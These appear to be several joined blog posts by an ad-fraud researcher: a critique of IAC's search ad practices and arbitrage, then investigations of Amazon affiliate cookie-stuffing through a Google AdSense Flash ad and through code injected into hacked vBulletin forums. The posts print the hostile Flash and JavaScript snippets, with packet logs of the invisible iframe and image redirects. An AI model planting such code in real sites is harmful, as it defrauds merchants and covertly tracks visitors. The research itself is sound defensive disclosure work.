If a user runs a search through an IAC toolbar or through a browser search function modified by IAC, the user receives Mywebsearch or Ask.com results page with advertisements and search results syndicated from Google. The volume of advertisements is remarkable: On a 800×600 monitor, the entire first two screens of Mywebsearch results presented advertisements (screen one, screen two) — four large ads with a total of seven additional miniature ads contained within. The first algorithmic search result appears on the third on-screen page, where users are far less likely to see it. At Ask.com, ads are even larger: fully seven advertisements appear above the first algorithmic result, and three more ads appear at page bottom — more than filling two 800×600 screens.
IAC obtains these advertisements and search results from Google, but IAC omits features Google proudly touts in other contexts. For example, Google claims that its maps, hotel reviews, and hotel price quotes benefit users and save users time — but inexplicably IAC Mywebsearch lacks these features, even though these features appear prominently and automatically for users who run the same search at Google. In short, a user viewing IAC results gets listings that are intentionally less useful — designed to serve IAC’s business interest in encouraging the user to click extra advertisements, with much less focus on providing the information that IAC and Google consider most useful.
The ad format at IAC Mywebsearch and Ask.com makes it particularly likely that users will mistake IAC ads for algorithmic results. For one, IAC omits any distinctive background color to help users distinguish ads from algorithmic results. Furthermore, IAC’s voluminous ads exceed beyond the first screen of results for many searches. A user familiar with Google would expect ads to have a distinctive background color and would know that ads typically rarely completely fill a screen — so seeing no such background color and similar-format results continuing for two full screens, the user might well conclude that these are algorithmic listings rather than paid advertisements.
Traffic Arbitrage
IAC buys traffic from Google and other search engines. The resulting sequence is needlessly convoluted: A user runs a search at Google, clicks an IAC ad purporting to offer what the user requested], then receives an IAC landing page with the very same ads just seen at Google. For example, I searched for [800 number look up] at Google and clicked an Ask ad. The resulting Ask page allocated most of its the above-the-fold space to three of the same ads I had just seen at Google! This process provides zero value to the user — indeed, negative value, in that the extra click adds time and confusion. But IAC monetizes its site unusually aggressively — for example, regularly putting four ads at the top of the page, where Google sometimes puts none and never presents more than three. Of course these extra ads serve IAC’s interest: By pushing a fraction of users to click multiple ads, IAC can more than cover its costs of buying the traffic from Google in the first place.
Longstanding Google rules exactly prohibit IAC’s search arbitrage. Google’s AdWords Policy Center instructs that “Google AdWords doesn’t allow the promotion of websites that are designed for the sole or primary purpose of showing ads.” Google continues: “One example of this kind of prohibited behavior is called arbitrage, where advertisers drive traffic to their websites at low cost and pay for that traffic by earning money from the ads placed on those websites”
Why isn’t Google enforcing its rules against arbitrage? An October 2012 Search Engine Land article quotes a reader who wrote to Google AdWords support, where a representative replied with unusual candor: “Since Ask.com is considered a Google product, they are able to serve ads at the top of the page when the search query is found to be relevant to their ads.” Of course Ask.com is not actually “a Google product” — it’s a Google syndicator, showing Google ads in exchange for a revenue share, just like thousands of other sites. But with IAC reportedly Google’s biggest advertising customer, special privileges would be less than surprising. Meanwhile, Google lets IAC do Google’s dirty work — showing extra ads to gullible users — which could let Google collect additional ad revenue from those users’ clicks. Still, that’s no help to users (who get pulled into extra page-views and less useful pages with more advertisements) or advertisers (whose costs increase as a result). And once the public recognizes Google’s role in authorizing this scheme, selling all advertising, and funding the entirety of IAC’s activity, Google ends up looking at least as culpable as IAC.
Ads with Oversized Clickable Areas
Contrary to standard industry practice and Google rules, IAC makes the entire ad — including domain name, ad text, and large whitespace — into a clickable link. Notice the large clickable area flagged in the red box.
At Google, only the ad itself is clickable. Not the much smaller red box.
IAC’s ads also flout industry practice and Google rules as to the size of an ad’s clickable area. Both in arbitrage landing pages and in toolbar results, IAC’s search result pages expand the clickable area of each advertisement to fill the entire page width, sharply increasing the fraction of the page where a click will be interpreted as a request to visit the advertiser’s page.
See the screenshot at right. (To create the red-outlined box showing the shape of the clickable area, I clicked an empty section of the ad and began a brief drag, causing my browser to highlight the ad’s clickable area in red as shown in the screenshot.)
Ask is an outlier in converting whitespace around an ad into a clickable area. Every other link on Ask.com landing pages — every link other than an advertisement — follows standard industry practice with only the words of the link being clickable, but not the surrounding whitespace. Indeed, at Google, Bing, and Yahoo, white space is never clickable. At Google and Bing, only ad titles are clickable, not ad domain names, or ad text. (See Google screenshot at right, showing the limited clickable area of a Google ad.) At Yahoo, only ad titles and domain names are clickable, not ad text or white space.
IAC has taken intentional action to expand its ads’ clickable area to cover all available width. As W3schools explains, “A block element is an element that takes up the full width available.” To expand ad hyperlinks to fill the entire width, Ask tags each ad hyperlink with the CSS STYLE of display:block.
Google’s rules prohibit IAC’s expanded clickable areas. Google requires that “clicking on space surrounding an ad should not click the ad.” Yet IAC nonetheless makes a clickable area out of the area surrounding each ad, extending all the way to the right column.
IAC’s expanded ads invite accidental clicks. Accidental clicks are particularly likely from the inexperienced users IAC systematically targets for toolbar installations, and also from users searching on tablets, phones, and other touch devices. These extra clicks waste users’ time and drive up advertisers’ costs — but every such click yields extra revenue for IAC and Google.
What Comes Next
Google should enforce its rules strictly. No doubt IAC can offer Google some short-term revenue via extra ad-clicks from unsophisticated or confused users. But this isn’t the kind of business Google aspires to, and Google’s public statements indicate no interest in such bottom-feeding. Indeed, a fair application of Google’s existing AdWords rules would disallow both IAC’s toolbar ads (using AdWords to solicit installations) and IAC’s search arbitrage ads (using AdWords to send users to IAC pages presenting syndicated AdWords ads). Meanwhile, numerous Google AdSense rules are also on point, including prohibiting encouraging accidental clicks, prohibiting site layout that pushes content below the fold, and limiting the number of ads per page. So too for Software Principles requiring up-front disclosure as well as “easy” and complete uninstall.
As a publicly-traded company, IAC should benefit from the oversight and guidance of its outside directors. But the New York Times commented in 2011 that “IAC’s board is filled with high-powered friends of Mr. Diller,” calling into question the independence and effectiveness of IAC’s outside directors. Of particular note is Chelsea Clinton, who joined IAC’s board in September 2011. Ms. Clinton’s prior experience includes little obvious connection to Internet advertising or online business, suggesting that she might need to invest extra time to learn the details of IAC’s business. Yet she also has weighty commitments including ongoing doctoral studies, serving as an Assistant Vice Provost at NYU, and reporting as a special correspondent for the NBC Nightly News — calling into question the time she can devote to IAC matters. The Times questioned why IAC had brought in Ms. Clinton, concluding that “This is clearly an appointment made because of who she is, not what she has done.” Indeed, Ms. Clinton’s background means she will be held to a particularly high standard: if she fails to stop IAC’s bad practices, the public may reasonably ask whether she has done her duty as an outside director.
Recent research from Goldman analyst Heath Terry flags investor concerns at IAC’s tactics. In a December 4, 2012 report, Terry downgraded IAC to sell due to vulnerability from Google policy changes. A January 9, 2013 follow-up noted IAC changing its uninstall practices to comply with Google policy as well as slowdown in arbitrage. Terry flags some important factors, and I share his bottom line that IAC’s search practices are unsustainable. But the real shoe has yet to drop. If Google is embarrassed at IAC’s actions — and it should be — Google is easily able to put an end to this mess.
I prepared a portion of this article at the request of a client that prefers not to be listed by name. The client kindly agreed to let me include that research in this publicly-available posting.
Some analysts view affiliate marketing as “fraud-proof” because affiliates are only paid a commission when a sale occurs. But affiliate marketing nonetheless gives rise to various disputes — typically, merchants alleging that affiliates claimed commission they had not properly earned. Most such disputes are resolved informally: merchants withhold amounts affiliates have purportedly earned but have not yet received. Occasionally, disputes end up in litigation with public availability of the details of alleged perpetrators, victims, amounts, and methods.
In today’s posting, I present known litigation in this area including case summaries and primary source documents:
Merchants face special challenges when operating large affiliate marketing programs: rogue affiliates can claim to refer users who would have purchased from those merchants anyway. In particular, rogue “cookie-stuffer” affiliates deposit cookies invisibly and unrequested — knowing that a portion of users will make purchases from large merchants in the subsequent days and weeks. This tactic is particularly effective in defrauding large merchants: the more popular a merchant becomes, the more users will happen to buy from that merchant within a given referral period.
To cookie-stuff at scale, an attacker needs a reliable and significant source of user traffic. In February we showed a rogue affiliate hacking forum sites to drop cookies when users merely browse forums. But that’s just one of many strategies. I previously found various cookie-stuffing on sites hoping to receive search traffic. In a 2009 complaint, eBay alleges that rogue affiliates used a banner ad network to deposit eBay affiliate cookies when users merely browsed web pages showing certain banner ads. See also my 2008 report of an affiliate using Yahoo’s Right Media ad network to deposit multiple affiliate cookies invisibly — defrauding security vendors McAfee and Symantec.
As the eBay litigation indicates, display advertising networks can be a mechanism for cookie-stuffing. Of course diligent ad networks inspect ads and refuse cookie-stuffers (among other forms of malvertising). So we were particularly surprised to see Google AdSense running ads that cookie-stuff Amazon.
This innocuous-looking banner ad sets Amazon Associates cookies invisibly.
The Imgwithsmiles attack
We have uncovered scores of web sites running the banner ad shown at right. On 40 sites, on various days from February 6 to May 2, our crawlers found this banner ad dropping Amazon Associates affiliate cookies automatically and invisibly. All 40 sites include display advertising from Google AdSense. Google returns a Flash ad from Imgwithsmiles. To an ordinary user, the ad looks completely innocuous — the unremarkable “review different headphones” image shown at right. However, the ad actually creates an invisible IMG (image) tag loading an Amazon Associates link and setting cookies accordingly. Here’s how:
First, the ad’s Flash code creates an invisible IMG tag (10×10 pixels) (yellow highlighting below) loading the URL http://imgwithsmiles.com/img/f/e.jpg (green).
function Stuff() {
if (z < links.length) {
txt.htmltext = links[z];
z++;
return(undefined);
}
clearinterval(timer);
}
links = new array();
links[0] = "<img src="http://imgwithsmiles.com/img/f/e.jpg" width="10" height="10"/>";z = 0;timer = setinterval(Stuff, 2000);
While /img/f/e.jpg features a .jpg extension consistent with a genuine image file, it is actually a redirect to an Amazon Associates link. See the three redirects preserved below (blue), including a tricky HTTPS redirect (orange) that would block many detection systems. Nonetheless, traffic ultimately ends up at Amazon with an Associates tag (red) specifying that affiliate charslibr-20 is to be paid for these referrals.
If a user happens to make a purchase from Amazon within the subsequent 24 hours, Amazon will pay a commission to this affiliate — even though the affiliate did nothing at all to cause or encourage the user to make that purchase.
Does Amazon know?
The available information does not reveal whether or not Amazon knew about this affiliate’s practices. Nor can we easily determine whether, as of the May 2, 2012 observations presented above, this affiliate was still in good standing and receiving payment for the traffic it sent to Amazon.
On one hand, Amazon is diligent and technically sophisticated. Because Amazon runs one of the web’s largest affiliate programs, Amazon is necessarily familiar with affiliate fraud. And Amazon has ample incentive to catch affiliate fraud: Every dollar paid to fraudulent affiliates is money completely wasted, coming straight from the bottom line.
On the other hand, we have observed this same affiliate cheating Amazon for three months nonstop. All told, we’ve seen this affiliate rotating through 49 different Associates IDs. If Amazon had caught the affiliate, we would have expected the affiliate to shift away from any disabled affiliate accounts, most likely by shifting traffic to new accounts. Of the 28 Associates IDs we observed during February 2012, we still saw 6 in use during May 2012 (month-to-date) — suggesting that while Amazon may be catching some of the affiliate’s traffic, Amazon probably is not catching it all.
A further indication of the affiliate’s earnings comes from the affiliate’s willingness to incur out-of-pocket costs to buy media (AdSense placements from Google) with which to deliver Amazon cookies. As best we can tell, Amazon is the affiliate’s sole source of revenue. Meanwhile, the affiliate must pay Google for the display ad inventory the affiliate receives. These direct incremental costs give the affiliate a clear incentive to cease operation if it concludes that payment from Amazon will not be forthcoming. From the affiliate’s ongoing actions we can infer that the affiliate finds this scheme profitable — that its earnings to date have exceeded its expenses to date.
How profitable is this affiliate’s attack? Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. Suppose the affiliate buys 1,000,000 CPM impressions from Google. Then the affiliate will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents. How much would the affiliate have to pay Google for 1,000,000 CPM impressions? We’ve seen this affiliate on a variety of sites, but largely sites in moderate to low-priced verticals. At $2 CPM, the affiliate’s costs would be $2,000 — meaning the affiliate would still be slightly profitable even if Amazon caught 3/4 of its affiliate IDs before the first payment!
We alerted our contact at Amazon Associates to our observations. We will update this post with any information Amazon provides.
While I’ve written up dozens of rogue affiliates on this site and in various presentations, today Wesley Brandi and I are introducing something better: query-based access to our records of affiliate fraud targeting top affiliate merchants. Enter a merchant’s domain name, and we’ll tell you how much affiliate fraud we’ve seen targeting that domain — handy for merchants wanting to check whether their program is clean, and for affiliates wanting to confirm the trustworthiness a program they’re considering promoting. We’re not currently posting details of the specific perpetrators, but we have affiliate ID numbers, domain names, and packet log proof on file for each violator, and we can provide these upon request.
Take a look:
Affiliate Fraud Information Lookup
(2015 update: service no longer operational)
Last month we presented an example cookie-stuffer using encoded JavaScript to drop scores of cookies invisibly. But how can such a cookie-stuffer get traffic to its site? Today’s example is particularly nefarious: Perpetrators using server bannertracker-script.com have hacked at least 29 different online discussion forums to add invisible code that lets them cookie-stuff forum visitors. Through this approach, perpetrators have gained access to a particularly large amount of traffic — letting them target all the more users.
Getting Traffic to Bannertracker-script
The perpetrators appear to be targeting a documented exploit in vBulletin (a popular forum discussion program built in PHP/MySQL) versions v4.x to v4.1.2. The exploit allows for a remote attacker to execute arbitrary PHP script as well as untrusted SQL queries. It was first reported in German in April 2011, then in English in January 2012. A video tutorial even offers step-by-step instructions on how to use this exploit.
Our automation systems have examined more than 500,000 sites, searching for code promoting the cookie-stuffers we are following. We have found numerous affected sites, including sites as popular as searchenginewatch.com (Alexa traffic rank #2045), webdeveloper.com (#2822) and redflagdeals.com (#3188) along with many more. Selected pages of these sites (typically the forum pages) embed hostile code from Bannertracker-script.
In each instance, the hostile code appears as a brief JavaScript addition to an otherwise-legitimate site. See the single line of inserted code highlighted in yellow below. Notably, the hostile code appears within a block of code embedding comScore tags (green highlighting below) — a place where site designers expect to see external JavaScript references, making the Bannertracker-script insertion that much less likely to be detected.
<!– Begin comScore Tag –>
<script type=”text/javascript” src=”http://www.bannertracker-script.com/banner/ads.php?a=big”></script> <script type=”text/javascript”>document.write(“<img id=’img1′ height=’1′ width=’1′>”);
document.getElementById(“img1”).src=”http://beacon.scorecardresearch.com/scripts/beacon.dll? C1=2&C2=5915554&C3=5915554&C4=www.redflagdeals.com &C5=&C6=&C7=” + escape(window.location.href) + “&C8=” + escape(document.title) + “&C9=” + escape(document.referrer) + “&rn=” + Math.floor(Math.random()*99999999);</script><!– End comScore Tag –>
Examining Bannertracker-script insertions on other sites, we found them in other inconspicuous places — for example, just before the </HTML> tag that ends a page.
Cookie-Stuffing by Bannertracker-script
As a result of the hack-based code insertion shown above, a user visiting any affected site receives Bannertracker-script code also. That code creates an invisible IFRAME which loads the Amazon site via an affiliate link. Here’s how: First, the code creates a doubly-invisible DIV (CSS style of display:hidden and visibility:none, shown in blue highlighting below). The code then creates an invisible IFRAME within that DIV (CSS display:none, visibility:hidden, size of 0x0 pixels, shown in purple highlighting below). The code instructs that the DIV load a URL on Http-uptime.com (grey) which redirects through to an Amazon Associates affiliate link with affiliate ID camerlucidpho-20 (red). See also the full packet log.
GET /banner/ads.php?a=big HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.bannertracker-script.com
HTTP/1.1 200 OK …
GPad = {
init: function () {
document.write(‘<div id=”GPAD” style=”visibility:hidden; display:none;”></div>’);
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’, ‘http://www.http-uptime.com/banner/index.php‘);
frame.setAttribute(‘style’, ‘display:none; width: 0px; height 0px; border: none; visibility:hidden‘);
frame.style.visibility = ‘hidden’;
frame.style.display = ‘none’;
var div = document.getElementById(‘GPAD’);
div.appendChild(frame);
}
}
GPad.init();
—
GET /index.php HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.http-uptime.com
HTTP/1.1 200 OK …
<html><head><meta http-equiv=”refresh” content=”0;url=http://www.http-uptime.com/icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932″ />
</head></html>
—
GET /icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932 HTTP/1.1 …
Host: www.http-uptime.com …
HTTP/1.1 302 Moved Temporarily …
Location: http://www.amazon.com/gp/search?ie=UTF8&keywords=&tag=camerlucidpho-20&index=pc-hardware&linkCode=ur2&camp=1789&creative=932
The net effect is to load Amazon’s site invisibly. Amazon operates using a 24-hour referral period, so if a user happened to make a purchase from Amazon within the next 24 hours, Amazon would credit this affiliate as the putative referer of the traffic — paying this affiliate a commission of at least 4% and as much as 15%.
Concealment by Bannertracker-script
The preceding discussion noted two mechanisms by which Bannertracker-script attempted to conceal its actions. First, it placed its tags within the comScore section of affected sites, where unfamiliar code is less likely to attract suspicion. Second, it loaded its tags invisibly, including via the multiple nested invisible elements detailed above. Still, by sending so much to Amazon, Bannertracker-script clearly recognized that it risked attracting scrutiny from Amazon, which might question how one affiliate obtained so much traffic. Bannertracker-script therefore turned to multiple Amazon Associates ID’s. In our testing, we found more than 200 such IDs of which we report 20 below:
abacemedi-20
aledesoftw-20
anybr-20
arizonosteopc-20
actkid-20
allesbluefree-20
apa0c5-20
artofdri-20
adirooutdocom-20
alsjopa-20
apitherapy03-20
astba-20
afrkilbeemov-20
amergumbmachc-20
apitroservic-20
atlcitgam-20
ajelcand-20
ancestorville-20
arasmazi-20
babblu-20
Using multiple IDs raises a further risk for Bannertracker-script: A diligent investigator might request the Bannertracker-script site repeatedly in order to attempt to learn most or all of Bannertracker-script’s IDs. Bannertracker-script attempted to reduce this risk via server-side logic to avoid serving the same user with two different ID’s, based on variables that seem to include client IP address, HTTP User-agent header, and more.
In principle, investigators might recognize Bannertracker-script by its distinctive domain name. But in fact we have seen this perpetrator also using other domain names. (We refer to the perpetrator as Bannertracker-script because that was the first such domain we found and, in our testing, still the most frequent.)
Affected Merchants
To date, we have primarily seen Bannertracker-script targeting Amazon. But other merchants are vulnerable to similar attacks that drop a large number of cookies invisibly in hopes that users make purchases from the corresponding merchants. In this regard, large merchants are particularly vulnerable: The more popular a merchant is, the greater the likelihood of a given user making a purchase from that merchant in a given time period. Indeed, we have also seen Bannertracker-script using the same technique to drop cookies for several adult web sites
Amazon’s exposure is somewhat reduced by its 24-hour affiliate commission window — paying commission to affiliates only on a user’s purchases within 24 hours of invocation of an affiliate link, whereas other merchants often grant credit for as long as 30 days. But Amazon’s large and growing popularity limits the effectiveness of this measure. Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. If Bannertracker-script can deposit one million Amazon cookies, via hacks of multiple popular sites, it will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents — substantial revenue, particularly given the prospect of hacking other vulnerable web sites. Ordinarily, one might expect Amazon to notice a new affiliate with a large spike in earnings. But by spreading its commissions across hundreds of affiliate accounts, Bannertracker-script may avoid or deflect such scrutiny.
We have reported this matter to our contacts at Amazon and will update this post with any information Amazon cares to share.
Alexa reports a sharp jump in Blinkx traffic in late 2013.
IAC ad promises “free online television” but actually merely links to material already on the web; promises an “app” but actually provides a search toolbar.
![searched for [800 number look up] at Google](/images/iac-jan13/google-lookup_800_numbers-011613.png){kind=link}
